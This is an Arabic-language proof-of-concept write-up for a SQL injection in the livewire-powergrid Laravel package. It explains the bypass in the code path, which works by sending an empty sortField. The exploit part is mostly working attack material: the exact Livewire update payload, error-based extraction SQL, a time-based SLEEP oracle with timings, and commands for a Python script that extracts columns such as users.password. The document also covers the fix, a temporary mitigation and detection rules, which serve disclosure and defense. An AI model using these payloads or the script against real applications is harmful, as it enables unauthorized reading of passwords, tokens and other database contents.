
إثبات المفهوم وتقرير فني لـ CVE-2026-65971 — حقن SQL عبر خاصية sortDirection في Livewire في power-components/livewire-powergrid (< 6.10.4)
sortDirectionإثبات المفهوم وكتابة فنية كاملة لـ CVE-2026-65971 / GHSA-7fgc-3h6c-698r،
ثغرة حقن SQL في power-components/livewire-powergrid
يمكن الوصول إليها عبر خاصية Livewire العامة sortDirection.
| CVE | CVE-2026-65971 |
| GHSA | GHSA-7fgc-3h6c-698r |
| الحزمة | power-components/livewire-powergrid (Composer / Packagist) |
| المتأثر | >= 6.0.0, < 6.10.4 |
| تم التصحيح | 6.10.4 |
| الضعف | CWE-89 — تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL |
| الخطورة | 7.6 عالية — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
| أبلغ من قبل | Caio Fabrício (@BiiTts) |
| الإفصاح | منسق، عبر استشارة أمنية خاصة على GitHub |
| ├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction | |
| ├── lab/ build the vulnerable app to reproduce it yourself | |
| ├── evidence/EVIDENCE.txt raw lab notes from confirmation | |
| ├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix | |
| └── detection/ Sigma rules + Nuclei template for defenders |
---
## 🧠 ملخص
PowerGrid هو مكوّن datatable لإطار Laravel + Livewire (~2k نجمة، يُستخدم على نطاق واسع في
لوحات تحكم Laravel). حالة الفرز الخاصة به تعيش في **خاصيتين عامتين في Livewire**:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';
في Livewire، تُعد الخاصية العامة جزءًا من تنسيق wire الخاص بالمكوّن — أي عميل يمكنه
الوصول إلى المكوّن يستطيع تعيينها عبر POST /livewire/update. هذا أمر مقصود بالتصميم؛ الحدود
الأمنية تكمن في ما يفعله الخادم بالقيمة.
ميزة naturalSort() في PowerGrid تُنشئ تعبير ORDER BY خامًا يحتوي على العنصر النائب الحرفي
{sortDirection}، ويستبدل خط أنابيب المعالجة هذا العنصر النائب بـقيمة الخاصية الخام،
غير المُتحقَّق منها قبل تمرير السلسلة إلى orderByRaw(). كلمة الاتجاه
تستقر بالتالي حرفيًا داخل SQL.
يرفض orderBy() الخاص بـ Laravel أي شيء ليس asc/desc، وهذا التحقق هو ما
يجعل مسار الفرز العادي آمنًا. الخلل هو وجود مسارٍ ثانٍ غير مُتحقَّق منه إلى نفس
الجملة — ويستطيع المهاجم الوصول إليه متجاوزًا المسار المُتحقَّق منه بالكامل
(انظر الالتفاف).
النتيجة: SQL عشوائي في جملة ORDER BY، قابل للاستغلال كأوراكل أعمى زمني/منطقي
لقراءة أي بيانات يمكن لمستخدم قاعدة البيانات قراءتها.
يمكن لأي شخص يمكنه الوصول إلى جدول PowerGrid يستخدم naturalSort قراءة بيانات عشوائية من
قاعدة البيانات — جداول أخرى، تجزئات كلمات مرور، رموز جلسات، مفاتيح API، سجلات عبر المستأجرين —
باستخدام أوراكل زمني/منطقي.
SELECT عليه.; UPDATE ... لا يتم تنفيذه. أثر الكتابة محدود بما يمكن أن تُحدثه استعلامات فرعية.SLEEP() واستعلامات فرعية ثقيلة —
يمكن إساءة استخدامها بسهولة لإشغال خيوط قاعدة البيانات.الامتيازات المطلوبة هي PR:L لأن جدول البيانات يوضع عادةً خلف مصادقة
التطبيق. إذا كان الجدول المتأثر يُعرض على صفحة غير مصادق عليها، فأعد الحساب مع
PR:N → 8.2 عالية.
ثلاثة ملفات، ثلاث مراحل. جميع الإشارات إلى الإصدار الضعيف v6.10.3.
`src/Concerns/Sorting.php````php public string $sortField = 'id'; // line 11 public string $sortDirection = 'asc'; // line 13
لا تحتوي أيٌّ من الخاصيتين على قائمة سماح، أو قاعدة تحقّق، أو مُعيِّن تطبيع. `sortDirection` يتم تعيينه أو قلبه فقط:```php
public function reverseSort(): string // line 37
{
return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}
updatedSortDirection() (السطر 103) موجودة — وهي المكان الطبيعي للتحقق — لكن في v6.10.3 تتعامل فقط مع مسك دفاتر التحميل الكسول. ولا تفحص القيمة أبدًا.
نظرًا لأن Livewire يملا الخصائص العامة مباشرة من الطلب، فإن sortDirection يخضع بالكامل لسيطرة المهاجم، كسلسلة نصية عشوائية، في هذه المرحلة.
naturalSort() تزرع عنصرًا نائبًاsrc/Providers/Macros.php، الأسطر 102–116 — ماكرو العمود naturalSort:```php
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // <-- raw sink
'sql' => Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});
`Sql::sortStringAsNumber()` يؤول إلى تعبير خاص بكل مُحرّك يُبنى بواسطة
`getSortSqlByDriver()` في `src/DataSource/Support/Sql.php` (الأسطر 60–100). كل نسخة من نسخ المُحرّك
تنتهي بنفس العنصر النائب الحرفي:```php
$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL, line 81
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLite, line 84
'0' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0' => "CAST(SUBSTRING(...) AS INT) {sortDirection}", // SQL Server, line 90
الثغرة مستقلة عن برنامج التشغيل — كل فرع يضمّن {sortDirection}.
`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php````php private function resolvePlaceholders(?string $sql): ?string // line 56 { if (is_null($sql)) { return null; }
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 — raw property, no escaping
}, $sql);
}
والتنفيذ، السطر 52:```php
$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'
data_get($this->component, 'sortDirection') ترجع سلسلة المهاجم، وpreg_replace_callback تدمجها في نص SQL، وorderByRaw() — التي بموجب العقد لا تهرب وسيطتها — تمررها إلى قاعدة البيانات.
لاحظ السخرية اللاذعة في السطر التالي: resolveBindings() (السطر 69) موجودة، وnaturalSort يعلن 'bindings' => []. آلية البارامترة الآمنة موجودة هناك تمامًا. لا يمكن استخدامها لكلمة اتجاه — ORDER BY x ? ليست SQL صالحة، والاتجاه لا يمكن أبدًا أن يكون بارامترًا مربوطًا — وهذا هو بالضبط سبب أن كلمة الاتجاه يجب أن تكون مدرجة في القائمة البيضاء بدلاً من ذلك.
POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation) ──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65) ──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))" ──▶ orderByRaw($sql) (ColumnRawQueries.php:52) ──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL
---
## 🔓 التحايل — لماذا لا ينقذك تحقق Laravel
هذا هو الجزء الذي يحوّل "الاستيفاء الخام" إلى ثغرة قابلة للاستغلال فعلاً، وهو السبب في بقاء المشكلة في حزمة ناضجة واسعة الاستخدام.
يعالج PowerGrid استعلامًا عبر **خط أنابيب**. هناك مرحلتان من ذلك الخط تمسّان اتجاه الفرز:
**خط أنابيب `Sorting`** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
// ...
if (filled($this->component->sortField)) { // line 21 <-- THE GUARD
if ($this->component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
// ...
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}
orderBy() هي واجهة برمجة تطبيقات Laravel للتحقق. أعطها أي شيء غير asc/desc وسوف
ترمي استثناءً:```
InvalidArgumentException: Order direction must be "asc" or "desc".
إذن في المسار الطبيعي — ينقر المستخدم على رأس عمود، `sortField=name`، `sortDirection=<payload>` — يحجب الإطار الحقن. تدقيق سريع يتوقف هنا ويستنتج «تم التخفيف بواسطة Laravel».
**خط أنابيب `ColumnRawQueries`** — المرحلة الثانية، الموضحة أعلاه — **لا يملك مثل هذا الحارس**. انظر إلى `handle()` (الأسطر 21–27): إنه يكرر عبر الأعمدة، ولكل عمود يحمل `rawQueries` يطبّقها *بدون شروط*. لا يستشير `sortField` أبدًا. ولا يستشير نتيجة خط أنابيب `Sorting` أبدًا.
هذا التفاوت هو الخلل:
| `sortField` | خط أنابيب Sorting | خط أنابيب ColumnRawQueries | النتيجة |
|---|---|---|---|
| `"name"` (ممتلئ) | يعمل → `orderBy()` **يتحقق** → يرمي استثناءً على الحمولة | يعمل → يحقن | ❌ محجوب بواسطة الاستثناء |
| `""` (فارغ) | `filled('')` يساوي `false` → **يُتخطى بالكامل** | يعمل → يحقن | ✅ **يتم الحقن** |
ضبط **`sortField` إلى سلسلة فارغة** يجعل مرحلة التحقق تتخطى نفسها، بينما المرحلة الخام لا تزال تُصدر `ORDER BY` الخاص بـ `naturalSort` مع قيمة `{sortDirection}` الخاصة بالمهاجم بداخله. لا يتم استدعاء تحقق Laravel أبدًا، لأن مسار الكود الذي يحتويه لا يُنفَّذ أبدًا.
**لذلك الهجوم الكامل يعتمد على حقلين، ليس حقلًا واحدًا:** `sortDirection` يحمل الحمولة، و`sortField=""` هو المفتاح الذي يفتح الباب.
---
## 🎯 الحقول الدقيقة
كل شيء يحدث عبر نقطة نهاية التحديث القياسية في Livewire. لا توجد رؤوس خاصة، ولا مسار مخصص، ولا وظيفة إدارية.
**نقطة النهاية:** `POST /livewire/update`
**المحتوى (JSON):**```json
{
"_token": "<CSRF token from the page>",
"components": [
{
"snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}
SQL الناتج (مختبر MariaDB، جدول rooms، عمود name مع naturalSort):```sql
select * from rooms
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
تقع الحمولة في فتحة تعبير كاملة ضمن قائمة `ORDER BY`، ولهذا يعمل الاستعلام الفرعي المجرّد ويبقى البند صالحًا كـ SQL.
---
## 🔬 كيف تم اكتشافه — المسار عبر الكود
الترتيب أدناه هو الترتيب الفعلي للاستدلال، بما في ذلك الخطوة التي كادت أن تُغلق التحقيق باعتباره إيجابية كاذبة.
**1. سطح الهجوم أولًا: الخصائص العامة في Livewire هي مدخلات المهاجم.**
يصرّح نموذج الإطار نفسه بأن كل خاصية `public` في مكوّن قابلة للكتابة من العميل عبر `/livewire/update`. لذا فإن سؤال التدقيق لأي حزمة Livewire ليس "هل يوجد إدخال من المستخدم؟" بل "أي الخصائص العامة تصل إلى مصرف خطير؟". قمتُ بتعداد الخصائص العامة في PowerGrid؛ وبرز `$sortField` و`$sortDirection` بوصفهما الخواص الموجودتين تحديدًا ليتم تركيبهما في SQL.
**2. تتبّعها إلى كل مصرف.** قمت بالبحث في الحزمة عن واجهات SQL الخام — `orderByRaw`، `whereRaw`، `selectRaw`، `havingRaw`، `DB::raw` — وبحثت عن أي منها يمكن أن يستقبل تلك الخصائص. كان المطلوب هو `'method' => 'orderByRaw'` الخاص بـ `naturalSort` في `Macros.php`.
**3. إيجاد الصلة بين الخاصية والمصرف.** لم يكن SQL الخام في `Sql.php` يشير إلى `$this->sortDirection`؛ بل احتوى على السلسلة الحرفية `{sortDirection}`. مثل هذا الاستبدال يوحي بوجود محلّل (resolver) في مكان ما. قاد البحث عن نمط الأقواس المتعرجة إلى `ColumnRawQueries::resolvePlaceholders()` وإلى `data_get($this->component, $property, '')` — قارئ خصائص عام بدون أي تهريب. وهكذا ارتبط المصدر بالمصرف.
**4. الخطوة التي كادت أن تقضي عليه: التخفيف (Mitigation).** المحاولة الحية الأولى — تعيين `sortDirection` إلى حمولة وتشغيلها — لم تُنتج تسريبًا بل أنتجت `InvalidArgumentException: Order direction must be "asc" or "desc".` كان `orderBy()` في Laravel يلتقطها. الاستنتاج المغري هنا هو *"الإطار يخفف الهجوم، وليس قابلًا للاستغلال"*، وكان هذا الاستنتاج خاطئًا.
**5. اسأل من أين جاء الاستثناء، وليس فقط أنه حدث.** أشار التتبع إلى `orderBy()` في مسار (pipeline) `Sorting` — **مرحلة مختلفة** عن مصرف `orderByRaw()` المحدد في الخطوة 2. مرحلتان، كتابتان مستقلتان في نفس `ORDER BY`، وواحدة فقط منهما تتحقق. هذا أعاد صياغة السؤال من "هل يمكنني هزيمة مدقق Laravel؟" (لا — فهو مقارنة صارمة) إلى **"هل يمكنني الوصول إلى المرحلة الخام دون تنفيذ مرحلة التحقق؟"**
**6. اقرأ الحارس.** تعمل مرحلة التحقق تحت شرط `if (filled($this->component->sortField))`.
`filled('')` تساوي `false`. أما المرحلة الخام فليس لها أي حارس. كان الالتفاف نتيجة مباشرة: أرسل `sortField=""` وستعمل المرحلة غير المحروسة وحدها.
**7. تأكيد تجريبيًا، مرتين، بتقنيات مستقلة.** الإشارة الإيجابية الواحدة ليست اكتشافًا — ففارق الزمن قد يكون محدّد معدل (rate limiter)، والخطأ قد يكون 500 عامًا. تطلّب الأمر كلا من إثبات قائم على الخطأ (اعتراض قاعدة البيانات للاستعلام الفرعي المحقون حرفيًا) وأوراكل منطقية قائمة على الوقت (التمييز بين TRUE و FALSE على بيانات حقيقية) قبل اعتباره مؤكدًا. انظر [الدليل](#-evidence).
**خلاصة قابلة للتعميم:** التخفيف على مستوى الإطار يحمي فقط مسار الكود الذي يقع عليه. عندما تكتب مرحلتان في مسار المعالجة نفس جملة SQL، فإن عبارة "الإطار يتحقق من ذلك" إنما تدّعي ذلك عن إحداهما فقط. اسأل دائمًا في أي مرحلة يقع التحقق فعليًا، وما إذا كانت المرحلة الخطيرة يمكن أن تعمل وحدها.
---
## 🧪 الأدلة
المختبر: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB، مع مكوّن PowerGrid باسم `RoomTable` يصرّح عموده `name` بـ `->naturalSort(true)`، وجدول `rooms` يحتوي عمود `secret`. المختبر الكامل في [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/).
**القائم على الخطأ — يصل الاستعلام الفرعي المحقون إلى قاعدة البيانات حرفيًا** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
قامت قاعدة البيانات بتحليل وتنفيذ SELECT المقدَّم من المهاجم داخل ORDER BY. هذا دليل لا لبس فيه على الحقن — نص الخطأ يحتوي على SQL المُحقن كما تم تنفيذه، وليس كما تم إرساله.
الحقن الأعمى المعتمد على الزمن — استخراج بيانات تعسفية:``` asc -> 0.02s baseline asc, (SELECT SLEEP(3)) -> 9.04s injection executes asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound
The TRUE/FALSE pair is what upgrades this from "something is slow" to "I can read your data":
the same request shape returns two cleanly separated timings depending on a condition over a
value the attacker cannot see. That is a working oracle, and `poc/exploit_powergrid_sqli.py`
walks it character by character.
> `SLEEP(3)` yields ~9s rather than ~3s because the sort applies the sleeping expression across
> multiple rows — a stronger, not weaker, signal.
Raw notes: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt).
---
## ⚙️ Proof of Concept
Dependency-free, Python 3 standard library only.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms
سوف:
GET الصفحة واستخراج رمز CSRF بالإضافة إلى wire:snapshot الخاص بمكوّن PowerGrid؛sortDirection=asc غير ضار كخط أساس؛sortField="" / sortDirection="asc, (SELECT SLEEP(3))" ومقارنة الأوقات؛خيارات مفيدة:```bash
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."
عند استهداف نسخة `6.10.4` مُصحَّحة، لا يُبلِغ السكربت عن أي فرق زمني ويخرج بشكل نظيف —
تختزل القائمة البيضاء كل حمولة إلى `asc`.
---
## ✅ تحليل الإصلاح (`v6.10.4`)
قدّم المشرفون **دفاعًا متعمقًا عبر أربعة مواقع استدعاء** — وهو الشكل الصحيح لهذه الفئة من الأخطاء البرمجية. الأساس:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
قائمة سماح صارمة بقيمة افتراضية آمنة — وليست قائمة حظر، ولا تهريبًا، ولا تعبيرًا نمطيًا. بالنسبة إلى كلمة مفتاحية لا يمكن أن تكون معلمة مربوطة، فهذا هو التحكم الصحيح الوحيد.
يُطبَّق في:
ColumnRawQueries::resolvePlaceholders() — نقطة الاستقبال. أصبح {sortDirection} معالَجًا بشكل خاص
ويُحل فقط عبر sanitizeSortDirection()، وليس عبر data_get() العامة.Concerns\Sorting::updatedSortDirection() — خطاف Livewire. يعقّم عند الكتابة، لذا
لم تعد الخاصية نفسها قادرة على حمل حمولة ضارة.Concerns\Sorting::sortBy() — يعقّم وسيط الاتجاه.Pipelines\Sorting::applySingleSort() / applyMultipleSort() — يغطي عمليات الاستدعاء
sortUsing المقدمة من المستخدم، والتي قد تبني orderByRaw خاصًا بها. أغلق هذا مسارًا ثانيًا
ذا صلة إلى جانب المسار الذي أُبلغ عنه في الأصل.تمت إضافة اختبارات الانحدار: tests/Feature/SortDirectionInjectionTest.php و
نموذج اختبار باسم DishesNaturalSortTable.
تم تنفيذ التحقق من التصحيح على الإصدار المعلَّم (tag) المُصدَر (وليس على وعد): استنسخنا v6.10.4، وفحصنا
كل نقطة استقبال للاتجاه الخام، وشغّلنا مجموعة الاختبارات (30/30 نجاحًا)، واختبرنا sanitizeSortDirection() بالتشويش مع 17
حمولة — الحمولة الزمنية الواردة في النشرة، والبايتات الصفرية، وتعليقات SQL، والقيم السداسية العشرية، وخليط الأحرف،
وحشو المسافات، ويونيكود. تتحول جميعها إلى asc أو desc. نقاط الاستقبال المتبقية (التصدير عبر
WithExport/ExportableJob، Scout) تمر عبر orderBy() المُتحقق منه بدلًا من orderByRaw()
وليست قابلة للحقن.
الخلاصة: مُصحَّح.
الجزء المرتبط بالأمان من الفرق (diff) موجود في patch/.
composer require power-components/livewire-powergrid:^6.10.4 composer audit
**الترقية — لا تحاول التحايل عليها.** إذا لم تستطع الترقية اليوم فعلًا، فإن التخفيف المؤقت
هو تعقيم المكوّن نفسه:```php
public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}
هذا حل مؤقت. قم بالترقية.
الشرط المسبق هو وجود عمود واحد على الأقل يصرّح بـ naturalSort:```bash
grep -rn "naturalSort" app/ resources/
No `naturalSort` column means the raw `ORDER BY` is never registered, and the primary path is not
reachable. Note that `v6.10.4` also hardened the `sortUsing` callback path — if your custom sort
callbacks build raw SQL from the direction, you are exposed through that path as well, `naturalSort`
or not.
### اكتشاف الاستغلال
الهجوم هو طلب Livewire يبدو طبيعيًا؛ لا توجد نقطة نهاية أو طريقة غير معتادة للتنبيه. انظر إلى **قيمة** `sortDirection` — فحركة المرور المشروعة ترسل دائمًا `asc` أو `desc` فقط.
أي شيء آخر يُعدّ، بحكم التعريف، شاذًا. إشارات عملية:
- `POST /livewire/update` حيث يحتوي نص JSON على `"sortDirection"` بقيمة ليست `asc`/`desc` تمامًا (دون تمييز حالة الأحرف) — دقة عالية، وما يقرب من صفر نتائج إيجابية خاطئة؛
- نفس الطلب يحمل `"sortField":""` (فارغًا) مع `sortDirection` غير عادي — التوقيع الدقيق للالتفاف؛
- كلمات SQL المفتاحية في تلك القيمة: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`;
- سجلات أخطاء التطبيق التي تحتوي على `SQLSTATE[HY000] 1105` أو `SQLSTATE[42000]` وتشير إلى `order by`؛
- دفعات من طلبات POST بنفس الشكل مع أوقات استجابة تتجمع بشكل ثنائي (سريعة/بطيئة) — استعلام أعمى يجري استكشافه.
تم توفير قاعدتي Sigma في [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) —
إحداهما على نص الطلب، والأخرى على توقيع خطأ قاعدة البيانات لحالة عدم توفر تسجيل النص.
قالب Nuclei يُعلّم مكوّنات PowerGrid القابلة للوصول (السطح المطلوب مسبقًا)
موجود في [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml)؛
أكِّد أي إصابة باستخدام `poc/exploit_powergrid_sqli.py --check-only`.
---
## 📚 المراجع
- نشرة GitHub الأمنية — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- إصدار الإصلاح — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- فرق الإصلاح — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [التحييد غير الصحيح للعناصر الخاصة المستخدمة في أمر SQL](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [الخصائص قابلة للكتابة من جانب العميل](https://livewire.laravel.com/docs/properties#security-concerns)
---
## ⚖️ الإشعار القانوني
نُشر بعد إفصاح منسّق، وتوفّر تصحيح مُصدَر، وإشعار عام من البائع. يستهدف إثباتُ المفهوم (PoC) المختبرَ المحلي في [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) وهو مخصص للمدافعين للتحقق من تعرضهم الخاص وللباحثين الذين يدرسون فئة الثغرة. تشغيله ضد أنظمة غير مصرح لك باختبارها يعدّ غير قانوني. أنت مسؤول عن استخدامك له.
---
**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)
| الحقل | الدور | القيمة |
|---|
components[0].updates.sortDirection | نقطة الحقن | حمولة SQL، مسبوقة باتجاه صالح لتبقى الجملة سليمة نحوياً |
components[0].updates.sortField | مفتاح الالتفاف | "" — فارغ، لتجاوز خط أنابيب Sorting المُتحقق من الصحة |
components[0].snapshot | آلية داخلية | حالة مكوّن Livewire؛ تُستخرج من wire:snapshot="..." في صفحة HTML (فكّ ترميز HTML له) |
_token / X-CSRF-TOKEN | آلية داخلية | تُستخرج من data-csrf="..." أو مقطع "csrf":"..." في الصفحة |